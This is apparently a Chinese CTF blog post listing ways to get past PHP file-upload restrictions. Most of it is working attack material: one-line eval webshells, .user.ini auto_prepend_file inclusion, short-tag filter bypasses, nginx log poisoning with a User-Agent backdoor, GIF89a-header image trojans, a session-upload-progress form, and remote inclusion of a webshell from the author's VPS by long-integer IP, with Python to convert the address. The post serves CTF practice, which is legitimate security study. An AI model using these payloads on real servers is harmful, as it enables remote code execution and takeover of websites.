文件上传的各种姿势
本文最后更新于45 天前,其中的信息可能已经过时,如有错误请发送邮件到495896243@qq.com

 

1.JS验证与MIME

前端JS验证,方法:上传png后缀的图片后,抓包修改后缀即可

内容为<?php eval($_GET[1]);?>,然后使用rce可以得到FLAG

 

2.user.ini

使用条件:

服务器脚本语言为PHP

服务器使用CGI/FastCGl模式

上传目录下要有可执行的php文件

auto_prepend_file = <filename> //包含在文件头 相当于在每个php文件尾加上 include(“filename”)
auto_append_file = <filename> //包含在文件尾

例子:

 //.user.ini
auto_prepend_file=1.png

//1.png
<?php phpinfo();?>

//1.php(任意php文件)

满足这三个文件在同一目录下,则相当于在1.php文件开头里插入了包含语句include(‘1.png’);
进行了文件包含,因为1.png里面有php代码,所以经过include之后就会代码执行。所以我们就依次上传即可

 

3.短标签

<? echo '123';?> //前 提是开启配置参数 short_open_tags=on  
<?=(表达式)?> //不需要开启参数设置 
<% echo '123';%> //前提是开启配置参数 asp_tags=on
<script language=”php”>echo '1'; //不需要修改参数开关 
.user.ini:auto_prepend_file=test.png test.png:
test.png:<?=eval($_POST[x]);?>

其他绕过过滤的办法: ` `反引号运算符===shell_exec()
<?=eval($_POST{x});?> 

4.log

包含默认日志,日志记录 UA 头,UA 头写后门代码

 <?=include"/var/lo"."g/nginx/access.lo"."g"?>

5.文件头

gif文件头部GIF89A

getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求,所以可以直接在图片内容开头添加GIF89A。

小知识: copy /b test.png + xxx.php xxx.png

可以伪造png木马

6.session包含

 <!DOCTYPE html>
<html>
<body>
<form action="http://c79ecd48-a6ab-4c73-87bc-e76e0f74e434.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

7.地址转换:

在自己vps写上一句话木马。然后将ip转为长地址,include包含,在连接/upload/index.php

 GIF89a
 <?=include"http://ip的长地址/ma的路径"?>
 #IP转换为长整型
def ip2long(ip):
ip_list=ip.split('.') #⾸先先把ip的组成以'.'切割然后逐次转换成对应的⼆进制
result = 0
for i in range(4): #0,1,2,3
result = result+int(ip_list[i])*256**(3-i)
return result
#长整型转换为IP
def long2ip(long):
floor_list = []
num = long
for i in reversed(range(4)):
res = divmod(num,256**i)
floor_list.append(str(res[0]))
num = res[1]
return '.'.join(floor_list)
print(ip2long('127.0.0.1'))

1

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇